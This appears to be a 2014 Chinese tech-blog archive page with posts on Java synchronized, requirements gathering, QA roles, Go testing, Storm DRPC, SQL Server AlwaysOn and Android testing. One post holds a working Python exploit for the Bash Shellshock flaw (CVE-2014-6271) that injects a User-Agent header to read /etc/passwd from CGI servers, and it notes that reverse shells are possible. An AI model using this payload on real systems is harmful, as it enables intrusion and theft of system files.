虽然多线程编程极大地提高了效率,但是也会带来一定的隐患。比如说两个线程同时往一个数据库表中插入不重复的数据,就可能会导致数据库中插入了相同的数据。今天我们就来一起讨论下线程安全问题,以及Java中提供了什么机制来解决线程安全问题。
  一.什么时候会出现线程安全问题?
  在单线程中不会出现线程安全问题,而在多线程编程中,有可能会出现同时访问同一个资源的情况,这种资源可以是各种类型的的资源:一个变量、一个对象、一个文件、一个数据库表等,而当多个线程同时访问同一个资源的时候,就会存在一个问题:
  由于每个线程执行的过程是不可控的,所以很可能导致最终的结果与实际上的愿望相违背或者直接导致程序出错。
  举个简单的例子:
  现在有两个线程分别从网络上读取数据,然后插入一张数据库表中,要求不能插入重复的数据。
  那么必然在插入数据的过程中存在两个操作:
  1)检查数据库中是否存在该条数据;
  2)如果存在,则不插入;如果不存在,则插入到数据库中。
  假如两个线程分别用thread-1和thread-2表示,某一时刻,thread-1和thread-2都读取到了数据X,那么可能会发生这种情况:
  thread-1去检查数据库中是否存在数据X,然后thread-2也接着去检查数据库中是否存在数据X。
  结果两个线程检查的结果都是数据库中不存在数据X,那么两个线程都分别将数据X插入数据库表当中。
  这个就是线程安全问题,即多个线程同时访问一个资源时,会导致程序运行结果并不是想看到的结果。
  这里面,这个资源被称为:临界资源(也有称为共享资源)。
  也就是说,当多个线程同时访问临界资源(一个对象,对象中的属性,一个文件,一个数据库等)时,就可能会产生线程安全问题。
  不过,当多个线程执行一个方法,方法内部的局部变量并不是临界资源,因为方法是在栈上执行的,而Java栈是线程私有的,因此不会产生线程安全问题。
  二.如何解决线程安全问题?
  那么一般来说,是如何解决线程安全问题的呢?
  基本上所有的并发模式在解决线程安全问题时,都采用“序列化访问临界资源”的方案,即在同一时刻,只能有一个线程访问临界资源,也称作同步互斥访问。
  通常来说,是在访问临界资源的代码前面加上一个锁,当访问完临界资源后释放锁,让其他线程继续访问。
  在Java中,提供了两种方式来实现同步互斥访问:synchronized和Lock。
  本文主要讲述synchronized的使用方法,Lock的使用方法在下一篇博文中讲述。
  三.synchronized同步方法或者同步块
  在了解synchronized关键字的使用方法之前,我们先来看一个概念:互斥锁,顾名思义:能到达到互斥访问目的的锁。
  举个简单的例子:如果对临界资源加上互斥锁,当一个线程在访问该临界资源时,其他线程便只能等待。
  在Java中,每一个对象都拥有一个锁标记(monitor),也称为监视器,多线程同时访问某个对象时,线程只有获取了该对象的锁才能访问。
  在Java中,可以使用synchronized关键字来标记一个方法或者代码块,当某个线程调用该对象的synchronized方法或者访问synchronized代码块时,这个线程便获得了该对象的锁,其他线程暂时无法访问这个方法,只有等待这个方法执行完毕或者代码块执行完毕,这个线程才会释放该对象的锁,其他线程才能执行这个方法或者代码块。
  下面通过几个简单的例子来说明synchronized关键字的使用:
  1.synchronized方法
  下面这段代码中两个线程分别调用insertData对象插入数据:
public class Test {
public static void main(String[] args)  {
final InsertData insertData = new InsertData();
new Thread() {
public void run() {
insertData.insert(Thread.currentThread());
};
}.start();
new Thread() {
public void run() {
insertData.insert(Thread.currentThread());
};
}.start();
}
}
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public void insert(Thread thread){
for(int i=0;i<5;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
此时程序的输出结果为:
  说明两个线程在同时执行insert方法。
  而如果在insert方法前面加上关键字synchronized的话,运行结果为:
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public synchronized void insert(Thread thread){
for(int i=0;i<5;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
  从上输出结果说明,Thread-1插入数据是等Thread-0插入完数据之后才进行的。说明Thread-0和Thread-1是顺序执行insert方法的。
  这就是synchronized方法。
  不过有几点需要注意:
  1)当一个线程正在访问一个对象的synchronized方法,那么其他线程不能访问该对象的其他synchronized方法。这个原因很简单,因为一个对象只有一把锁,当一个线程获取了该对象的锁之后,其他线程无法获取该对象的锁,所以无法访问该对象的其他synchronized方法。
  2)当一个线程正在访问一个对象的synchronized方法,那么其他线程能访问该对象的非synchronized方法。这个原因很简单,访问非synchronized方法不需要获得该对象的锁,假如一个方法没用synchronized关键字修饰,说明它不会使用到临界资源,那么其他线程是可以访问这个方法的,
  3)如果一个线程A需要访问对象object1的synchronized方法fun1,另外一个线程B需要访问对象object2的synchronized方法fun1,即使object1和object2是同一类型),也不会产生线程安全问题,因为他们访问的是不同的对象,所以不存在互斥问题。
  2.synchronized代码块
  synchronized代码块类似于以下这种形式:
  synchronized(synObject) {
  }
  当在某个线程中执行这段代码块,该线程会获取对象synObject的锁,从而使得其他线程无法同时访问该代码块。
  synObject可以是this,代表获取当前对象的锁,也可以是类中的一个属性,代表获取该属性的锁。
  比如上面的insert方法可以改成以下两种形式:
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public void insert(Thread thread){
synchronized (this) {
for(int i=0;i<100;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
}
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
private Object object = new Object();
public void insert(Thread thread){
synchronized (object) {
for(int i=0;i<100;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
}
  从上面可以看出,synchronized代码块使用起来比synchronized方法要灵活得多。因为也许一个方法中只有一部分代码只需要同步,如果此时对整个方法用synchronized进行同步,会影响程序执行效率。而使用synchronized代码块就可以避免这个问题,synchronized代码块可以实现只对需要同步的地方进行同步。
  另外,每个类也会有一个锁,它可以用来控制对static数据成员的并发访问。
  并且如果一个线程执行一个对象的非static synchronized方法,另外一个线程需要执行这个对象所属类的static synchronized方法,此时不会发生互斥现象,因为访问static synchronized方法占用的是类锁,而访问非static synchronized方法占用的是对象锁,所以不存在互斥现象。
  看下面这段代码就明白了:
public class Test {
public static void main(String[] args)  {
final InsertData insertData = new InsertData();
new Thread(){
@Override
public void run() {
insertData.insert();
}
}.start();
new Thread(){
@Override
public void run() {
insertData.insert1();
}
}.start();
}
}
class InsertData {
public synchronized void insert(){
System.out.println("执行insert");
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("执行insert完毕");
}
public synchronized static void insert1() {
System.out.println("执行insert1");
System.out.println("执行insert1完毕");
}
}
  执行结果;
  第一个线程里面执行的是insert方法,不会导致第二个线程执行insert1方法发生阻塞现象。
  下面我们看一下synchronized关键字到底做了什么事情,我们来反编译它的字节码看一下,下面这段代码反编译后的字节码为:
public class InsertData {
private Object object = new Object();
public void insert(Thread thread){
synchronized (object) {
}
}
public synchronized void insert1(Thread thread){
}
public void insert2(Thread thread){
}
}
  从反编译获得的字节码可以看出,synchronized代码块实际上多了monitorenter和monitorexit两条指令。monitorenter指令执行时会让对象的锁计数加1,而monitorexit指令执行时会让对象的锁计数减1,其实这个与操作系统里面的PV操作很像,操作系统里面的PV操作就是用来控制多个线程对临界资源的访问。对于synchronized方法,执行中的线程识别该方法的 method_info 结构是否有 ACC_SYNCHRONIZED 标记设置,然后它自动获取对象的锁,调用方法,最后释放锁。如果有异常发生,线程自动释放锁。
  有一点要注意:对于synchronized方法或者synchronized代码块,当出现异常时,JVM会自动释放当前线程占用的锁,因此不会由于异常导致出现死锁现象。

posted @ 2014-12-08 21:52 顺其自然EVO 阅读(212) | 评论 (0)编辑 收藏

IT需求管理之拜访

项目组经过一番努力,获得了一些初步的成果。首先是给客户留下了一个良好的印象,这是一个开端,但要在他们心目中树立自己的职业威信还要看你今后的表现。同时,我们与客户一起为项目制订了短期与长期目标。不要小看了这些目标,它们就是我们的尚方宝剑。正是因为有了它,今后项目中的有关各方就应当协助实现这个目标。我们应当清晰地向客户表达这样一个意思,要完成这样的目标,不是某一方的努力,而是双方共同努力的结果。这也是客户方召开这样一个项目启动会议的重要意义。最后一个成果,也是最重要的成果,就是与各种角色、各个类型的客户建立了联系。下面,我们将一个一个去拜访他们,展开我们的需求调研。
  与西方人不同,中国人做事往往比较重视感情,这是与中国数千年的文化分不开的。让我们来听听一位金牌销售员是怎么做生意的:“我跟客户头几次见面,绝对不提生意的事,玩,就是玩。吃饭啦,唱卡拉OK啦,打球啦??????先建立关系,关系好了再慢慢提生意的事儿。”这说得比较夸张,毕竟他是在做销售,但至少传达出一个概念,那就是做事先培养感情,感情培养起来才好慢慢做事,需求调研也是一样。
  需求调研不是一蹴而就的事情,是一件持续数月甚至数年的工作(假如项目还有后期维护)。在这漫长的时间里,我们需要依靠客户这个群体的帮助,一步一步掌握真实可靠的业务需求。不仅如此,技术这东西总有不如意甚至实现不了的地方,我们需要客户的理解与包容,这都需要有良好的客户关系。按照现在的软件运作理念,软件项目已经不是一锤子的买卖,而是长期的、持续不断的提供服务。按照这样的理念,软件供应商与客户建立的是长期共赢的战略协作关系,这更需要我们与客户建立长期友好的关系。
  尽管如此,我们也不能总是期望客户中的所有人都能与我们合作,很多项目都不可避免地存在阻碍项目开展的人。如很多ERP项目会损害采购和销售人员的利益,因为信息化的管理断了他们的财路;很多企业管理软件会遭到来自基层操作人员的抵制,因为它会给基层操作人员带来更多的工作量负担。有一次,我们给一个集团开发一套软件,当我们下到基层单位时,才发现,一些基层单位已经有了相应的管理软件。我们的软件成功上线,必然就意味着这些基层单位的管理软件寿终正寝,这必然影响到基层信息化管理专员的利益和政绩。
  分析一个客户人群的关系,就是在分析这个人群中,谁有意愿支持我们,而谁却在自觉不自觉地阻碍我们。那些通过这个项目可以提高政绩,提高自身价值的人,都是我们可以争取的盟友。他们是我们最可以依赖的人,我们一定要与他们站在一起,荣辱与共,建立战略合作伙伴关系。
  另一种人,即使软件获得了成功,也与他没有太多关系,但你与他相处得好,却可以给予你巨大的帮助,这种人是我们需要拼命争取的人。所谓领域专家,他可以给你多讲点儿,但随便打发你,对他也没太大影响。报着谦虚谨慎、相互尊重的态度,大方地与他们交往。当他们帮助我们以后,真诚地予以感谢。这是我总结出来的,与他们交往的准则。
  最后,就是那些对我们怀有敌意的人。尽管有敌意,但我们能够坦荡的,敞开心扉的与他们交往。虽然不能奢望太多,但拿出诚意去争取他们,也还是有机会化干戈为玉帛、化敌为友。如果能够那样,那是再好不过了。
  经过一番交往,我们将逐渐在客户中结识一批可以帮助我们的人。今后一段日子里,我们将依靠他们去学习和认识业务知识,收集业务需求,为日后的软件研发提供素材。

posted @ 2014-12-08 21:32 顺其自然EVO 阅读(209) | 评论 (0)编辑 收藏

高能力成熟度软件企业中软件质量工程师的职责

随着科学技术的不断发展进步,企业之间的竞争越来越激烈。软件企业要想在竞争中发展生存,提高软件产品质量已成为必要条件。在一些高能力成熟度软件企业中,专门成立了质量保证和控制职能部门,起着提高项目管理透明性和确保软件产品质量的双重作用。
  软件质量工程师是隶属于质量监控部门的工程师,他们独立于项目对质量保证经理负责,以独立审查的方式监控软件生产任务的执行,给开发人员和管理层提供反映产品质量的信息和数据,辅助软件工程组得到高质量的软件产品。每位软件质量工程师可以同时介入多个项目。
  软件质量工程师的工作原则是"用过程质量确保产品质量"。 软件质量工程师在软件生存期的各个阶段起着不同的作用,是软件项目开发过程中不可或缺的重要成员。
  软件质量工程师的职责分为组织相关的职责和项目相关的职责。
  1.组织相关的职责
  ·与客户及时沟通,确保客户满意
  软件质量工程师应当担当"客户代表"的角色,及时与客户进行沟通,了解客户对产品质量、开发进度、开发费用等方面的需求。定期进行客户满意度调查,对客户反馈信息进行分析,为项目管理提供分析结果,及时根据客户需求协助项目经理调整项目开发计划。 ·内部评审
  软件质量工程师参与项目的内部评审活动,其职责包括确定评审员,为评审组织确定评审内容,确保评审按既定的过程执行,并向管理团队通报评审结果。
  ·审计
  软件质量工程师参与改进并跟踪现有审计制度以适应项目和产品解决方案发展的需要。软件质量工程师相互协作以确保不断地改进现有的审计内容和审计制度,提高管理的透明性。
  ·度量
  其职责主要是进行量化过程管理,包括完善和执行统计过程控制,贯彻执行度量标准,通过数据采集和分析完善度量基准。
  2.项目相关的职责
  ·为相关项目提供过程管理和质量保证咨询
  软件质量工程师参加项目启动会议,为制定项目开发计划提供相关历史数据。为项目开发人员提供质量保证相关知识的咨询。
  ·帮助项目建立切实可行的质量保证目标,选择适当的质量保证基准
  软件质量工程师根据客户需求、企业内部质量审查标准、行业标准,按照项目类别建立项目质量保证目标,与项目成员一起讨论并进行必要的修改。明确度量标准和数据收集方法,在项目实施过程中根据建立的目标对项目进行实时监控。
  ·制定项目质量保证计划
  软件质量工程师根据项目类别、质量保证目标、项目开发进度制定相应的质量保证计划。
  ·项目审查
  软件质量工程师应当参与必要的项目审查。审查内容包括:
  - 产品需求说明书
  - 软件项目开发计划
  - 测试计划
  - 测试总结报告
  ·数据收集和分析
  软件质量工程师负责按软件质量保证计划收集与项目相关的数据,通过对数据进行分析,及时将与质量相关的反馈和建议汇报给项目负责人和高级主管。项目负责人根据反馈数据调整项目开发计划。
  ·项目审计
  软件质量工程师负责鉴别项目开发中与项目质量保证计划中规定的标准和过程不相符的内容,当这些内容与计划偏离比较多,以至于可能影响到项目的及时高质量完成时,可以考虑召开项目审计会议。
  软件质量工程师负责会议的计划、主持,确保审计所有偏离内容,并汇报审计结果。
  ·系统测试
  软件质量工程师可以介入系统测试,确保软件产品符合质量要求,满足客户需求。软件质量工程师帮助系统测试工程师收集数据,将数据分析结果反馈给项目负责人、系统测试工程师和项目组其他成员。
  ·错误预防
  软件质量工程师负责提供历史和当前数据,帮助项目了解项目所处状态、进度和存在的弱点。所有的错误预防工作都应由项目负责人计划并跟踪,软件质量工程师负责监督。


posted @ 2014-12-08 21:27 顺其自然EVO 阅读(879) | 评论 (0)编辑 收藏

Bash远程命令执行漏洞(CVE-2014-6271)分析利用

这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271),昨天参加完isc,晚上回家测试了一下,写了个python版本的测试小基本,贴上代码:
#coding:utf-8
import urllib,httplib
import sys,re,urlparse
#author:nx4dm1n
#website:http://www.nxadmin.com
def bash_exp(url):
urlsp=urlparse.urlparse(url)
hostname=urlsp.netloc
urlpath=urlsp.path
conn=httplib.HTTPConnection(hostname)
headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
conn.request("GET",urlpath,headers=headers)
res=conn.getresponse()
res=res.getheaders()
for passwdstr in res:
print passwdstr[0]+':'+passwdstr[1]
if __name__=='__main__':
#带http
if len(sys.argv)<2:
print "Usage: "+sys.argv[0]+" http://www.nxadmin.com/cgi-bin/index.cgi"
sys.exit()
else:
bash_exp(sys.argv[1])
  脚本执行效果如图所示:
  bash命令执行
  也可以用burp进行测试。
  利用该漏洞其实可以做很多事情,写的python小脚本只是执行了cat /etc/passwd。可以执行反向链接的命令等,直接获取一个shell还是有可能的。不过漏洞存在的条件也比较苛刻,测试找了一些,发现了很少几个存在漏洞

posted @ 2014-12-08 20:43 顺其自然EVO 阅读(344) | 评论 (0)编辑 收藏

Golang UnitTest单元测试

最近做项目的时候一直很苦恼,go的单元测试是怎么回事,之前有看过go test  xx_test.go命令进行单元测试,只知道有这么一说。最近项目中写了很多工具类,一直想测试一下性能和执行结果。发现完全不对。
  这是代码。
  发现多次执行go test utilfile_test.go完全没有任何输出。查很多原因和多帖子,都没说到重点。今天在群里问了下,才发现go单元测试对文件名和方法名,参数都有很严格的要求。
  例如:
  1、文件名必须以xx_test.go命名
  2、方法必须是Test[^a-z]开头
  3、方法参数必须 t *testing.T
  之前就因为第 2 点没有写对,导致找了半天错误。现在真的让人记忆深刻啊,小小的东西当初看书没仔细。
  下面分享一点go test的参数解读。来源
  格式形如:
  go test [-c] [-i] [build flags] [packages] [flags for test binary]
  参数解读:
  -c : 编译go test成为可执行的二进制文件,但是不运行测试。
  -i : 安装测试包依赖的package,但是不运行测试。
  关于build flags,调用go help build,这些是编译运行过程中需要使用到的参数,一般设置为空
  关于packages,调用go help packages,这些是关于包的管理,一般设置为空
  关于flags for test binary,调用go help testflag,这些是go test过程中经常使用到的参数
  -test.v : 是否输出全部的单元测试用例(不管成功或者失败),默认没有加上,所以只输出失败的单元测试用例。
  -test.run pattern: 只跑哪些单元测试用例
  -test.bench patten: 只跑那些性能测试用例
  -test.benchmem : 是否在性能测试的时候输出内存情况
  -test.benchtime t : 性能测试运行的时间,默认是1s
  -test.cpuprofile cpu.out : 是否输出cpu性能分析文件
  -test.memprofile mem.out : 是否输出内存性能分析文件
  -test.blockprofile block.out : 是否输出内部goroutine阻塞的性能分析文件
  -test.memprofilerate n : 内存性能分析的时候有一个分配了多少的时候才打点记录的问题。这个参数就是设置打点的内存分配间隔,也就是profile中一个sample代表的内存大小。默认是设置为512 * 1024的。如果你将它设置为1,则每分配一个内存块就会在profile中有个打点,那么生成的profile的sample就会非常多。如果你设置为0,那就是不做打点了。
  你可以通过设置memprofilerate=1和GOGC=off来关闭内存回收,并且对每个内存块的分配进行观察。
  -test.blockprofilerate n: 基本同上,控制的是goroutine阻塞时候打点的纳秒数。默认不设置就相当于-test.blockprofilerate=1,每一纳秒都打点记录一下
  -test.parallel n : 性能测试的程序并行cpu数,默认等于GOMAXPROCS。
  -test.timeout t : 如果测试用例运行时间超过t,则抛出panic
  -test.cpu 1,2,4 : 程序运行在哪些CPU上面,使用二进制的1所在位代表,和nginx的nginx_worker_cpu_affinity是一个道理
  -test.short : 将那些运行时间较长的测试用例运行时间缩短

posted @ 2014-12-08 20:42 顺其自然EVO 阅读(548) | 评论 (0)编辑 收藏

Strom及DRPC性能测试与改进

参考1:storm性能测试报告
  参考2:Storm DRPC 使用
  参考3:Storm DRPC 使用及访问C++ Bolt问题的解决方法
  参考4:Storm 多语言支持之ShellBolt原理及改进
  参考5:Base64编码及编码性能测试
  参考6:Base64编码及编码性能测试 [改进]
  参考7:zlib使用与性能测试
  参考8:十分简单的redis使用说明及性能测试
  [参考1]的结论与局限
  参考种对Storm性能进行测试,得出了以下结论:
  storm单条流水线的处理能力大约为20000 tupe/s, (每个tuple大小为1000字节)
  storm系统本省的处理延迟为毫秒级
  在集群中横向扩展可以增加系统的处理能力,实测结果为1.6倍
  Storm中大量的使用了线程,即使单条处理流水线的系统,也有十几个线程在同时运行,所以几乎所有的16个CPU都在运行状态,load average 约为 3.5
  Jvm GC一般情况下对系统性能影响有限,但是内存紧张时,GC会成为系统性能的瓶颈
  使用外部处理程序性能下降明显,所以在高性能要求下,尽量使用storm内建的处理模式
  作者对strom的处理能力和可扩展性进行了测试,给出了很有说服力的数据。但还不能满足我们的需要:
  1)由于作者使用的tuple为1000字节,也就是1K,数据量相对较小,而在实际使用过程中,storm作为实时流处理系统,处理的数据可能比较大。比如我们用来进行图像处理,一个图片可能有1M左右。这时候storm的性能如何呢?
  2)为了简化storm的集成,我们使用DRPC来访问storm,具体用法可参见[参考2]和[参考3],在DRPC访问时,数据需要从DRPCClient发送至DRPCServer,再由DRPCServer发送给topology中的spout,spoout发送给Bolt........;当数据处理完毕后,还要由Bolt返回给DPRCServer,由DRPCServer返回给DRPCClient。
  增加了这些步骤以后,Strom DRPC的性能究竟如何呢?
  3)作者在[参考1]中提到,使用外部处理程序时Storm的性能明显下降,大概只有1/10的性能。但是我们在实际使用中,可能经常是在已有的基础上,将功能集成到Storm中运行。通俗点说:实际情况是我们经常使用外部处理程序,这种情况下,怎么能提高Storm的性能呢?关于这点可以查看[参考4]。我们使用JNI来解决。
  测试与结论
  1)测试环境
  测试环境如图所示
  有客户端和两台服务器组成。
  客户端为虚拟机,单核3.2GHz  1G 内存,100M带宽。
  服务器也是虚拟机,8核2.2GHz,8G内存,1G带宽。
  DRPC Topology由一个DRPCSpout,CPPBolt和一个ReturnResult组成。功能是接收一个字符串并返回。
  Topology运行在一个work中,Spout,Bolt分别由不同的线程执行。
 2)测试方法
  在Client启动0-100多个线程,不停的访问Topology,向其发送一个字符串(1K-1M)。Topology会原封不动的返回该字符串。
  测试过程就不详细展开了。直接说测试结果。
  3)测试结论
  该测试中,处理速度主要受限于客户端带宽。也就是说由于数据量大,客户端发的速度慢,低于Storm中topology的处理速度。
  因此该测试只能得出DRPC方式中单个请求在不同数据大小时,storm的延迟时间。
  简而言之,StormDRPC方式中,最小延迟为50ms(数据小于1K),当数据量大时,256K数据,延迟为125ms,512K时延迟为208ms。
  所以Storm数据量较大的时,处理的延迟还是比较大的。
  当然以上仅是在特定环境中的测试,仅供参考。
  改进方法
  根据个人经验,针对以上Storm延迟可以由以下改进方法:
  1)数据可以先压缩后再交给storm处理,在具体的bolt中对其进行解压缩。根据个人测试zlib压缩1M的数据,压缩率为80%,既可以将数据研所为原来的20%。从而可以减小数据量,提高效率。而zlib对1M数据进行压缩、解压缩所用时间在10ms以内。可以使情况选用。见[参考7]
  2)storm本身采用字符型传输,对于二进制数据必须进行编码。可采用base64编码。参见[参考5],base64对1M数据的编码,解码时间也分别小于10ms。
  3)在DRPC测试中,数据从Clinet到DRPCServer,到DRPC SPOUT,到BOLT,到RETURN Result,在到DRPCSERVER,最后返回Client传输多次,可以考虑使用内存数据库如redis,Client直接将数据放入redis,将其在redis中的路径进行传输,在需要时,由bolt从redis中获取。参见[参考8]。将1M数据在redis中存取,耗时也分别在10-20ms。
  4)对于外部处理程序,如C++,可以采用JNI的方式,对ShellBolt进行改进,而不是启动新的进程在通过Json编码,Pipe传输与之通讯,从而也可以提交效率。参见[参考4]。

posted @ 2014-12-08 20:40 顺其自然EVO 阅读(277) | 评论 (0)编辑 收藏

AlwaysOn可用性组功能测试(2)-SQL Server群集故障转移

三、 SQL Server群集故障转移对AlwaysOn可用性组的影响
  1. 主副本在SQL Server群集CLUSTEST03/CLUSTEST03上
  1.1将节点转移Server02.以下是故障转移界面。
  1.2 服务脱机,alwaysOn自然脱机,但侦听IP并没有脱机。
  1.3 SQL服务联机后,侦听IP【10.0.0.224】会脱机重启,alwaysOn资源组联机


.4 转移后恢复正常,连接正常,语句执行正常。
  2. 主副本在SERVER03的服务上
  2.1 当前主副本在SERVER03上,SQL Server故障转移对可用性组没有影响。以下转移脱机界面。
  测试总结
  A、 若主副本在SQL 群集上,当服务脱机时候,侦听IP并不会脱机,AlwaysOn会脱机;可用组不可用。
  B、 当服务重新联机,侦听IP会脱机重新联机,侦听IP会发生顺断。
  C、 重新联机到AlwaysOn连接过程使用20秒左右。
  D、 当主副本不在SQL群集上,群集的故障转移对可用性组没有影响。
相关文章
AlwaysOn可用性组功能测试(1)-故障转移测试




posted @ 2014-12-08 20:38 顺其自然EVO 阅读(922) | 评论 (0)编辑 收藏

如何设计Android App测试用例

在当今竞争激烈的市场上一个APP的成功离不开一个可靠的用户界面(UI)。因此,对功能和用户体验有一些特殊关注和照顾的UI的全面测试是必不可少的。当涉及到安卓平台及其提出的独特问题的数量(安卓就UI提出显著挑战)时,挑战变得更加复杂。关键字“碎片化”象征着移动应用全面测试的最大障碍,还表明了发布到市场上的所有形态、大小、配置类型的安卓设备所引起的困难。本文将介绍安卓模拟器如何能通过使用一些技巧和简单的实践提供覆盖大量设备类型的广泛测试。
  简介—分散装置里的测试
  一般安卓开发者在其日常工作中面临的最大挑战之一是:终端设备和操作系统版本的范围太广。OpenSignal进行的一项研究表明,2013年7月市场上有超过11,828的不同安卓终端设备,所有设备在类型/大小/屏幕分辨率以及特定配置方面有所不同。考虑到前一年的调查仅记录有3,997款不同设备,这实在是一个越来越大的挑战障碍。
 
 图1.11,828 款安卓设备类型( OpenSignal研究, 2013年7月[ 1 ] )分布
  从一个移动APP开发角度出发,定义终端设备有四个基本特征:
  1.操作系统:由“API指标”( 1 ?18 )专业定义的安卓操作系统版本( 1.1? 4.3 ),。
  2.显示器:屏幕主要是由屏幕分辨率(以像素为单位),屏幕像素密度( 以DPI为单位),和/或屏幕尺寸(以英寸为单位)定义的。
  3.CPU:该“应用程序二进制接口” (ABI )定义CPU的指令集。这里的主要区别是ARM和基于Intel的CPU。
  4.内存:一个设备包括内存储器( RAM)和Dalvik 虚拟存储器( VM堆)的预定义的堆内存。
  这是前两个特点,操作系统和显示器,都需要特别注意,因为他们是直接由最终用户明显感受,且应该不断严格地被测试覆盖。至于安卓的版本, 2013年7月市场上有八个同时运行导致不可避免的碎片的不同版本。七月,近90%这些设备中的34.1 %正在运行Gingerbread版本( 2.3.3-2.3.7 ),32.3 %正在运行Jelly Bean( 4.1.x版),23.3 %正在运行Ice Cream Sandwich( 4.0.3 - 4.0.4 )。
  
图2.16款安卓版本分布(OpenSignal研究,2013年7月[1])
  考虑设备显示器,一项TechCrunch从2013年4月进行的研究显示,绝大多数(79.9%)有效设备正在使用尺寸为3和4.5英寸的“正常”屏幕。这些设备的屏幕密度在“MDPI”(160 DPI),“hdpi”(240 DPI)和“xhdpi”(320 DPI)之间变化。也有例外, 一种只占9.5%的设备屏幕密度低“hdpi”(120 DPI)且屏幕小。
  
图3. 常见的屏幕尺寸和密度的分布(谷歌研究,2013年4月)[2]
  如果这种多样性在质量保证过程中被忽略了,那么绝对可以预见:bugs会潜入应用程序,然后是bug报告的风暴,最后Google Play Store中出现负面用户评论。因此,目前的问题是:你怎么使用合理水平的测试工作切实解决这一挑战?定义测试用例及一个伴随测试过程是一个应付这一挑战的有效武器。
  用例—“在哪测试”、“测试什么”、“怎么测试”、“何时测试”?
  “在哪测试”
  为了节省你测试工作上所花的昂贵时间,我们建议首先要减少之前所提到的32个安卓版本组合及代表市场上在用的领先设备屏的5-10个版本的显示屏。选择参考设备时,你应该确保覆盖了足够广范围的版本和屏幕类型。作为参考,您可以使用OpenSignal的调查或使用手机检测的信息图[3],来帮助选择使用最广的设备。


为了满足好奇心,可以从安卓文件[5]将屏幕的尺寸和分辨率映射到上面数据的密度(“ldpi”,“mdpi”等)及分辨率(“小的”,“标准的”,等等)上。
  
图4.多样性及分布很高的安卓终端设备的六个例子(手机检测研究,2013年2月)[3]
  有了2013手机检测研究的帮助,很容易就找到了代表性的一系列设备。有一件有趣的琐事:30%印度安卓用户的设备分辨率很低只有240×320像素,如上面列表中看到的,三星Galaxy Y S5360也在其中。另外,480×800分辨率像素现在最常用(上表中三星Galaxy S II中可见)。
  “测试什么”
  移动APP必须提供最佳用户体验,以及在不同尺寸和分辨率(关键字“响应式设计”)的各种智能手机和平板电脑上被正确显示(UI测试)。与此同时,apps必须是功能性的和兼容的(兼容性测试),有尽可能多的设备规格(内存,CPU,传感器等)。加上先前获得的“直接”碎片化问题(关于安卓的版本和屏幕的特性), “环境相关的”碎片化有着举足轻重的作用。这种作用涉及到多种不同的情况或环境,其中用户正在自己的环境中使用的终端设备。作为一个例子,如果网络连接不稳定,来电中断,屏幕锁定等情况出现,你应该慎重考虑压力测试[4]和探索性测试以确保完美无错。
  
图5. 测试安卓设备的各个方面
  有必要提前准备覆盖app最常用功能的所有可能的测试场景。早期bug检测和源代码中的简单修改,只能通过不断的测试才能实现。
  “怎么测试”
  将这种广泛的多样性考虑在内的一种务实方法是, 安卓模拟器 - 提供了一个可调节的工具,该工具几乎可以模仿标准PC上安卓的终端用户设备。简而言之,安卓模拟器是QA流程中用各种设备配置(兼容性测试)进行连续回归测试(用户界面,单元和集成测试)的理想工具。探索性测试中,模拟器可以被配置到一个范围广泛的不同场景中。例如,模拟器可以用一种能模拟连接速度或质量中变化的方式来设定。然而,真实设备上的QA是不可缺少的。实践中,用作参考的虚拟设备依然可以在一些小的(但对于某些应用程序来说非常重要)方面有所不同,比如安卓操作系统中没有提供程序特定的调整或不支持耳机和蓝牙。真实硬件上的性能在评价过程中发挥了自身的显著作用,它还应该在考虑了触摸硬件支持和设备物理形式等方面的所有可能终端设备上进行测试(可用性测试)。
  “何时测试”
  既然我们已经定义了在哪里(参考设备)测试 ,测试什么(测试场景),以及如何( 安卓模拟器和真实设备)测试,简述一个过程并确定何时执行哪一个测试场景就至关重要了。因此,我们建议下面的两级流程:
  1 .用虚拟设备进行的回归测试。
  这包括虚拟参考设备上用来在早期识别出基本错误的连续自动化回归测试。这里的理念是快速地、成本高效地识别bugs。
  2 .用真实设备进行的验收测试。
  这涉及到:“策划推广”期间将之发布到Google Play Store前在真实设备上的密集测试(主要是手动测试),(例如,Google Play[ 5 ]中的 alpha和beta测试组) 。
  在第一阶段,测试自动化极大地有助于以经济实惠的方式实现这一策略。在这一阶段,只有能轻易被自动化(即可以每日执行)的测试用例才能包含在内。
  在一个app的持续开发过程中,这种自动化测试为开发人员和测试人员提供了一个安全网。日常测试运行确保了核心功能正常工作,app的整体稳定性和质量由测试数据透明地反映出来,认证回归可以轻易地与最近的变化关联。这种测试可以很轻易地被设计并使用SaaS解决方案(如云中的TestObject的UI移动app测试)从测试人员电脑上被记录下来。
  当且仅当这个阶段已被成功执行了,这个过程才会在第二阶段继续劳动密集测试。这里的想法是:如果核心功能通过自动测试就只投入测试资源,使测试人员能够专注于先进场景。这个阶段可能包括测试用例,例如性能测试,可用性测试,或兼容性测试。这两种方法相结合产生了一个强大的移动apps质量保证策略[ 7 ] 。
  结论 - 做对测试
  用正确的方式使用,测试可以在对抗零散的安卓的斗争中成为一个有力的工具。一个有效的测试策略的关键之处在于定义手头app的定制测试用例,并定义一个简化测试的工作流程或过程。测试一个移动app是一个重大的挑战,但它可以用一个结构化的方法和正确的工具集合以及专业知识被有效解决掉。

posted @ 2014-12-08 20:35 顺其自然EVO 阅读(465) | 评论 (0)编辑 收藏

<2014年12月>
30123456
78910111213
14151617181920
21222324252627
28293031123
45678910

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜